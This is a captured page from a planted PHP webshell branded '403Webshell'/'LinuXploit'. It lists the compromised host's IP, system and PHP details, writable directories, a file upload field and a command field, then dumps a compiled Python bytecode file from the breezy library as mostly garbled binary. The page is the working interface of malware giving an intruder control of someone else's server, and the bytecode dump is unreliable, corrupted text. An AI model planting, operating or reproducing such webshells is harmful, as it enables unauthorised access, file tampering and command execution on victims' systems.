403Webshell
Server IP : 50.21.180.56  /  Your IP : 216.73.216.139
Web Server : Apache
System : Linux info 3.0 #1337 SMP Tue Jan 01 00:00:00 CEST 2000 all GNU/Linux
User : ws67922704 ( 67922704)
PHP Version : 8.5.13
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /kunden/proc/self/root/usr/lib/python3/dist-packages/breezy/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /kunden/proc/self/root/usr/lib/python3/dist-packages/breezy/__pycache__/ignores.cpython-313.pyc
�

p��g����%SrSSKrSSKrSSKJr SSKJr \"\"5S5 SSKJr /SQr	S	r
S
rSrSr
\"5q\\\S
'SrSrSrg)zLists of ignore files, etc.�N)�BytesIO�)�lazy_importzE
from breezy import (
    atomicfile,
    globbing,
    trace,
    )
)�bedding)
z*.az*.oz*.py[co]z*.soz	*.sw[nop]z*~z.#*z[#]*#�__pycache__zbzr-orphansc�:�[5nUR5nURS5RS5nUHWnURS5nU(aURS5(aM3UR[RU55 MY U$![au URS5n/n[U5HPupVUR
URS55 M(![a [RSUS-5 MNf=f N�f=f)	z�Read in all of the lines in the file and turn it into an ignore list.

Continue in the case of utf8 decoding errors, and emit a warning when
such and error is found. Optimise for the common case -- no decoding
errors.
�utf8�
�
�utf-8zA.bzrignore: On Line #%d, malformed utf8 character. Ignoring line.rz
�#)�set�read�decode�split�UnicodeDecodeError�	enumerate�append�trace�warning�rstrip�
startswith�add�globbing�normalize_pattern)�f�ignored�ignore_file�
unicode_lines�lines�line_number�lines       �0/usr/lib/python3/dist-packages/breezy/ignores.py�parse_ignore_filer$6s����e�G��&�&�(�K��#�*�*�6�2�8�8��>�
�"���{�{�6�"���t���s�+�+�����H�.�.�t�4�5�	�
�N��+�
��!�!�%�(���
�!*�5�!1��K�
��$�$�T�[�[��%9�:��%�
��
�
�W��!�O��
��"2�
�s5� B�-D�	 C+�)D�+#D�D�D�D�Dc���[R"5n[[5n[	US5n[U5UR5 $![
a�n[
USS5nU[R4;ae[[5 OF![
a9nUR[R[R4;aeSnAOSnAff=fUsSnA$SnAff=f!UR5 f=f)z9Get the list of user ignored files, possibly creating it.�rb�errnoN)
r�user_ignore_config_pathr�
USER_DEFAULTS�open�OSError�getattrr'�ENOENT�_set_user_ignores�EPERMr$�close)�path�patternsr�e�errs     r#�get_user_ignoresr5Zs����*�*�,�D��=�!�H����t��� � ��#�	���	��%�
��a��$�'���u�|�|�o�%��	��m�,���	��w�w�u�{�{�E�L�L�9�9��:��	�����
��$	
���	�sR�A�
C!�
C�#C�<B�C�
C�/C
�C�
C�C�C�C�!C3c��[R"5n[R"5 [US5nUH&nUR	URS5S-5 M( SSS5 g!,(df   g=f)a Fill out the user ignore file with the given patterns.

This may raise an error if it doesn't have permission to
write to the user ignore file.
This is mostly used for testing, since it would be
bad form to rewrite a user's ignore list.
breezy only writes this file if it does not exist.
�wbr	rN)rr(�ensure_config_dir_existsr*�write�encode)r2�ignore_pathr�patterns    r#r.r.us\���1�1�3�K��$�$�&�
�k�4�	 �A��G�
�G�G�G�N�N�6�*�U�2�3� �
!�	 �	 �s�-A-�-
A;c��[5n/nUHAn[RU5nX1;dMURU5 UR	U5 MC U(d/$[[R"5S5nUH&nURURS5S-5 M( SSS5 U$!,(df   U$=f)z�Add entries to the user's ignore list if not present.

:param new_ignores: A list of ignore patterns
:return: The list of ignores that were added
�abr	rN)
r5rrrrr*rr(r9r:)�new_ignoresr�to_add�ignorerr<s      r#�add_unique_user_ignoresrB�s���� �G�
�F����+�+�F�3��� ��K�K����M�M�&�!�	���	�	
�g�-�-�/��	6�!��G�
�G�G�G�N�N�6�*�U�2�3��
7��M�	
7�	6��M�s�<-B3�3
C�_runtime_ignoresc�@�[R[U55 g)abAdd some ignore patterns that only exists in memory.

This is used by some plugins that want bzr to ignore files,
but don't want to change a users ignore list.
(Such as a conversion script that needs to ignore temporary files,
but does not want to modify the project's ignore list.)

:param ignores: A list or generator of ignore patterns.
:return: None
N)rC�updater)�ignoress r#�add_runtime_ignoresrG�s�����C��L�)�c��[$)z'Get the current set of runtime ignores.)rC�rHr#�get_runtime_ignoresrK�s���rHc���URURR5nURU5(a@[	US5nUR5nUR
S5S:waSnOSnSSS5 O Sn[RR5n[W5n[U5nSSS5 [RUS5nURU5 [U5S:�a'UR!S5(dURW5 UH<nUW;dMURURS	55 URW5 M> SSS5 UR#URR5(d'UR%URR/5 gg!,(df   GN(=f!,(df   GN=f!,(df   N�=f)
a(Add more ignore patterns to the ignore file in a tree.
If ignore file does not exist then it will be created.
The ignore file will be automatically added under version control.

:param tree: Working tree to update the ignore list.
:param name_pattern_list: List of ignore patterns.
:return: None
r&s
���rNrHr7rr)�abspath�_format�ignore_filename�has_filenamer*r�find�os�linesepr:rr$�
atomicfile�
AtomicFiler9�len�endswith�is_versionedr)	�tree�name_pattern_list�ifnr�
file_contents�newline�siorFr<s	         r#�tree_ignores_add_patternsr`�so���,�,�t�|�|�3�3�
4�C�������
�#�t�_���F�F�H�M��!�!�'�*�b�0�!�����_��
��*�*�#�#�%��	��	�3�#�C�(��
 �
�	�	�s�D�	)�Q�	���
���}���!�-�*@�*@��*G�*G�
�G�G�G��(�G��g�%�������w�/�0����� �)�
*����T�\�\�9�9�:�:����$�,�,�.�.�/�0�;�1�_��
 �	��
*�	)�s+�+F5�'G�AG�&5G�5
G�
G�
G')�__doc__r'rS�iorr�globals�rr)r$r5r.rBrrC�str�__annotations__rGrKr`rJrHr#�<module>rgsk��""��	��$���I��	��
�
�!�H�64�$�0!�U��#�c�(�"�*��
%1rH

Youez - 2016 - github.com/yon3zu
LinuXploit